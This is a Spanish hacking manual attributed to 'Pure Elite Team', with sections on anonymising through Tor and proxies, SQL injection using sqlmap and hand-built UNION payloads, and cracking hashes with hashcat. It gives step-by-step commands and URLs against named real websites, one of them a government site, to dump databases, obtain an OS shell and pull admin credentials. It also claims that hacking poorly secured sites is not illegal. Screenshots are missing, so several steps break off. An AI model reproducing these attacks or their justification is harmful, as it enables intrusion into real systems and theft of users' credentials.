Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
APLICACIONES WEB
Junio de 2016.
Hecho y Compilado por: Pure Elite Team
Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
INDICE
Prefacio 3
Algo de privacidad 4
Que es TOR, su configuración y usos 4-5
Que es una VPN, su configuración y usos 5-7
Que es un Proxy, su configuración y usos 7-8
Que es I2P 8
Que es una vulnerabilidad Web 9
Vulnerabilidad SQLI 10
Como hacer una inyección SQLI 11
SQLI con Sqlmap 11-20
SQLI Manual 21-24
Desencriptación de Hashes 25
Hash-Identifier 26
Hashcat 27-38
Contacto del Team y Links de Referencia 39
Como autor no me hago responsable de los daños que se puedan causar colocando en
practica lo que se explica en este manual, aclaro que solo fue hecho con fines
educativos y que lo que se muestra en el manual es real e ilegal, asi que pido
discrección por parte del lector. Por otra parte, este manual esta diseñado para el
Sistema Operativo GNU/Linux Kali y/o derivados de GNU/Linux Debian.
Esta obra puede ser modificada, siempre y cuando se respeten los derechos del autor
y la autoria de la obra. O bajo las condiciones de la GPL (GNU General Public
License) versión 3 o posterior.
VPN (Virtual Private Network): Una VPN es una red de información privada que
hace uso de una infraestructura pública de telecomunicaciones, que conecta diferentes
segmentos de red o usuarios a una red principal, manteniendo la privacidad a través
Entre los softwares que proveen este tipo de servicio, me inclino hacia OPENVPN, el
cual es un software que provee un Daemon (Servicio) del tipo VPN. Aclaro que
OPENVPN no es una VPN en sí, sino que, es un robusto y altamente flexible
Daemon para establecer conexiones VPN, teniendo un usuario VPN, esta soporta
diversos tipos de cifrado como lo son: SSL/TLS, Puentes Ethernet, Protocolos TCP
y/o UDP, Proxies y/o NAT, Soporte para direcciones Ip dinamicas y DHCP, y es
portable a la mayoría de Sistemas Operativos. Para instalar OPENVPN, basta con
teclear esto en la terminal con privilegios root: apt-get install openvpn. Una vez
finalizada la instalación basta con escribir en la terminal: openvpn --help. Si todo
salio bien aparecera algo así:
PROXY: Un proxy es un tipo de túnel para encryptar los datos que se transmiten
entre cliente-servidor, un proxy tiene la siguiente forma IP : Puerto, ejemplo:
(134.54.67.896 : 8080), al igual que los mencionados anteriormente, este oculta la
verdadera dirección Ipv4 de la maquina que lo usa. Existen diversos tipos de proxys,
siendo los mas comunes: http, https, ftp, udp, tcp e IRC. Puedes encontrar diversos
tipos de proxys en la pagina web http://www.proxys.org. La manera de configurar un
proxy es la siguiente:
Como todos sabemos, ser vulnerable equivale a tener mayores probabilidades de ser
atacado y que nuestro atacante logre causarnos graves daños, desde este mismo punto
de vista lo podemos ver en la red, especialmente en los servidores y aplicaciones
web. Nada en internet es 100% seguro y todo esta sujeto a ser vulnerado. En terminos
claros una vulnerabilidad web es una falla en el desarrollo, ya sea de la aplicación
web, o del codigo usado para generar dicha pagina web, esta falla puede ser usada
para obtener accesos no autorizados a datos confidenciales y/o a manejos ajenos a los
responsables de la pagina, la mayoria de estos fallos se deben a programadores,
tecnicos e ingenieros incompetentes como lo son una gran parte de egresados
universitarios.
Inyección SQLI: Para entender mejor este concepto primero tenemos que saber que
es una consulta SQL y como se forma. Las consultas SQL son sentecias que nos
permiten comunicarnos con un gestor de base de datos. Un ejemplo de esto puede ser:
SELECT * FROM noticias WHERE id = '1'
Esta es la tipica sentencia sql, algunos que hallan trabajado este lenguaje entenderan
esta sentencias, para los que no simplemente lo que hace esta consulta es consultar
todas las columnas de la tabla noticias donde id sea igual a 1. Cual es el fallo de esto.
Cuando se crea una aplicacion web los administradores olvidan el principio de
seguridad sanitizar los datos ingresados por el usuario (NUNCA CONFIES EN LOS
DATOS INGRESADOS POR EL USUARIO SIEMPRE VALÍDALOS).
Para conocer SQL INJECTION hay un principio, malformar las consultas es decir
que las consultas nos arrojen un error, en el ejemplo que tenemos si agregamos una
comilla mas de la que debe contener la consulta nos quedaria:
SELECT * FROM noticias WHERE id = '1''
Lo cual nos mostraria un mensaje de error en la formacion de la consulta para
comprender mejor esto lo realizaremos con una web real. Algo de lo que no estoy de
acuerdo es que la gente piensa que si ingresas a un sitio sin autorizacion o si explotas
un fallo de seguridad y ingresas como administrador es ilegal. Claro que es ilegal
pero te digo que pasa si los administradores de la pagina web son ineptos y no tienen
los conocimientos suficientes de seguridad y tu con tus conocimientos puedes joder
''si quieres'' la pagina web no seria un acto ilegal porque el error esta hay para todos
otra cosa es que tu no seas un usuario normal.
1) El primer paso es reconocer que una pagina web es vulnerable a SQLI. Para esto se
puede usar dorks en “Google”, scripts como INURLSEARCH, o INURLBR, entre
otras muchas, en la mayoria de ocasiones se usa el carácter comilla(‘) o comilla
doble(“) para saber si es vulnerable o no. El aspecto de una web del tipo “php?idt=”
cuando es vulnerable a SQLI es el siguiente:
A partir de este momento cada vez que me refiera a “target” me referire a esta
web vulnerable a SQLI:
http://www.campopotosino.gob.mx/modulos/tecnologiasdesc.php?idt=16
3) El comando mas basico para atacar una web con sqlmap es sqlmap -u “target”
--dbs. Pero siendo conciente del monitoreo y de la pivacidad que debemos tener en
cuenta, usaremos TOR para realizar el ataque, asi que el comando para esto seria el
siguiente: sqlmap --proxy socks5://localhost:9050 -u
http://www.campopotosino.gob.mx/modulos/tecnologiasdesc.php?idt=16 --dbs y
el resultado sera este:
4) El siguiente comando, el cual se usa para saber que hay dentro de una base de
datos, tiene el siguiente formato: sqlmap --proxy socks5://localhost:9050 -u
“target” -D DataBase --tables, así como se muestra a continuación:
5) El siguiente paso es saber que existe en cada una de las tablas que existe en la Base
De Datos, para eso usamos el comando de tipo sqlmap --proxy
socks5://localhost:9050 -u “target” -D DataBase -T Table --columns, como
aparece en la imagen:
Y el resultado es el siguiente:
7) SQLMAP incluye otras opciones mas avanzadas, entre las cuales se destacan:
--hostname, --is-dba, --os-shell, --current-db, --users y --passwords. Estas
opciones nombradas anteriormente, se pueden usar directamente usando el formato:
sqlmap --proxy sock5://localhost:9050 -u “target” --opcion, reemplazando
--opcion por una de las opciones anteriores. Ahora explicare de que se trata cada una.
* --os-shell: Este comando es usado cuando la opción anterior nos devuelve True, o
en caso de hallar un FPD (Full Path Disclosure) en el sitio web, un FPD es una
vulneabilidad que nos ofrece la posibilidad de subir cualquier tipo de archivo al
sevidor, asi no tengamos pivilegios de root. Al ejecutar exitosamente el comando
--os-shell obtendremos un terminal de comandos dependiendo del Sistema Operativo
en el que se aloja la Web, MSDOS en Windows, Bash en Unix, GNU/Linux, etc. La
sintaxis de este comando es esta: sqlmap --proxy socks5://localhost:9050 -u
“target” --os-shell. El resultado es este:
* --users: Esta opción nos da como resultado, los usuarios o managers de la Base De
Datos y de la Maquina que estamos explorando. La sintaxis de este comando es la
siguiente: sqlmap --proxy socks5://localhost:9050 -u “target” --users. El resultado
de este comando es el siguiente:
Ahora hare un breve resumen de como hacerlo manualmente, dando por hecho que ya
tienes el sitio web vulnerable y algunos conocimientos en el lenguaje de
programación SQL. Yo usare este sitio web para la practica:
http://www.ancvm.com/articulo.php?articulo=230
El primer paso es agregar la comilla (‘) al final de la web, asi nos damos cuenta que
es vulnerable por que nos muestra el siguiente mensaje:
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''' at line 1
Muchas veces los sitios web no nos muestran ningún mensaje y esto es porque
probablemente la página no es vulnerable, sin embargo esto no significa que todas las
web que no muestren el mensaje no sean vulnerables a SQLI. Ahora debes estar
preguntandote ¿Si no muestra el error es o no es vulnerable?. Bien, lo explicaré,
muchos administradores no tienen idea lo fácil que es arreglar este bug (SQLi) en su
pagina web, lo que ellos hacen es unicamente agregar una función en PHP para evitar
que se muestren los errores de la web, es un error muy grave que cometen los
webmaster, ni más ni menos, este es el sencillo código PHP que utilizan: <? php
error_reporting(0); ?> Cabe mencionar que es un error muy común por parte de los
administradores, ya que eso no arregla el bug, como se puede ver, lo unico que hace
es cambiar el valor de la función error_reporting a False usando el número 0, de
esta manera evitan que se vean los errores en la página web, pero el error sigue ahí.
Ya nos dimos cuenta como ver si una página web es o no vulnerable, el siguiente
paso es la explotación.
Seguiremos así, hasta que no nos vuelva salir error como el anterior.
Al momento que veas uno o más números en la web y que no haya un error quiere
decir que le hemos dado a la columna vulnerable:
Hay un pequeño problema, muchas veces el tamaño de la página nos limita a que solo
veamos una cierta cantidad de numero de tablas (Por naturaleza).
Sin embargo, no hay nada que nos impida, pues gracias a una función de SQL
podemos utilizar otra alternativa, en este caso será la opción limit que nos permitirá
limitar el rango de registro, y así poder acceder a la tabla del administrador o la de
usuarios.
En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos
table_name y al final de information_schema.tables agregamos +limit+1,1-- así
quedará la url:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+1
,1--
Lo cuál nos mostrará el nombre de la primer tabla, es decir, tendremos que buscar la
tabla en donde se encuentra la del admin o la de usuarios. Puedes seguir utilizando
la misma serie de 10 en 10 para que sea más rápido de encontrar la tabla de usuarios,
ya que esta en orden alfabético de la a – z. Ejemplo:
/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+1
0,1--
Y así, hasta dar con el nombre de la tabla uno que diga: admin, administrador,
usuarios, users, etc.. (Puede variar los nombres de las tablas y columnas por el
idioma).
Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin
vamos a convertirla en ASCII, para esto existen multipmes herramientas que puedes
Ahora modificamos nuestra url algo que quede así (incluyendo admin, pero
convertida en ASCII):
/articulo.php?articulo=-
230+union+select+1,group_concat(column_name),3,4,5+from+information_sche
ma.columns+where+table_name=char(97,100,109,105,110)--
Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:
email, contrasena, usuario, password, etc.
Esta parte es la más fácil, ya que lo anterior era lo complicado. Supongamos que ya
sabemos los nombres de la tabla en este caso es admin y las columnas que nos
interesan son usuario y password, ahora hay que extraer los datos de esas dos
columnas y para eso hacemos lo siguiente:
/articulo.php?articulo=-
230+union+select+1,group_concat(usuario,0x3a,password),3,4,5+from+admin--
Como su nombre lo dice, la finalidad de esta tool es identificar el tipo de hash que
deseas desencriptar, esta herramienta soporta todos los tipos de hash conocidos hasta
el momento y es muy eficaz en cuanto a los resultados que brinda. Es primordial
siempre que deseemos trabajar con hashes, pues el primer paso para desencriptar un
hash es saber de que tipo es.
Al usar esta tool, nos damos cuenta que realmente el hash expuesto al comienzo
(17cba18e33a758421b7076ec0b3fde97951a724b) es un hash de tipo SHA-1.
El siguiente paso es ver todas las opciones que nos ofrece Hashcat, para esto usamos
este comando desde la terminal como root: hashcah --help
Todos los hash han sido recuperados :-), y esto solo es la opción mas basica que
ofrece hashcat.
A continuación explicaré las opciones mas primordiales para poder usar hashcat, las
demas las explicaré mas adelante.
--hash-type=NUM o -m: El tipo de algoritmo a usar que puede ser MD5, SHA-1,
etc. El número lo asigna hashcat en la lista de hashes soportados, asi que debes ser
muy cuidadoso al teclear el numero identificador del hash.
VECTORES DE ATAQUE
Straight - (Directo): Este ataque simplemente corre una lista de palabras y prueba
todas las cadenas contra cada hash. Este es un vector extremadamente efectivo para
una primera pasada, asumiendo que usted tiene un buen diccionario como el famoso
Rockyou.
Combination: Junta dos palabras del diccionario dado e intenta con ellas. Puede ser
útil en contra de contraseñas largas, la gente trata de añadir complejidad a sus
contraseñas escribiéndolas dos veces o personas que usan su primer y segundo
apellido. Por ejemplo Richard usa su apellido Stallman para hacer una contraseña, si
Richard y Stallman existen en el diccionario, RichardStallman será usado y también
StallmanRichard.
Toggle-case: Simplemente cambia las letras minúsculas por mayúsculas y viceversa.
Ejemplo: kALi se volvería KalI.
Brute-force: Extremadamente util en GPU, Fuerza bruta con CPU puede tardar para
siempre. Este vector tratara cada combinación --pw-min/max. Esencialmente trata
cada combinación por incrementos hasta que encuentra el texto plano requerido.
Altamente poco inteligente y usado como último recurso, excepto en maquinas con
un alto poder en GPU.
LINKS DE REFERENCIA
https://ghostbin.com/paste/csxkm : Todo acerca de Pure Elite Team.
http://kali.org : Página oficial del Sistema Operativo GNU/Linux Kali.
https://www.torproject.org/ : Página oficial de TOR (The Onion Router).
http://i2p.net : Página oficial de I2P.
http://hashcat.net : Página Oficial de Hascat.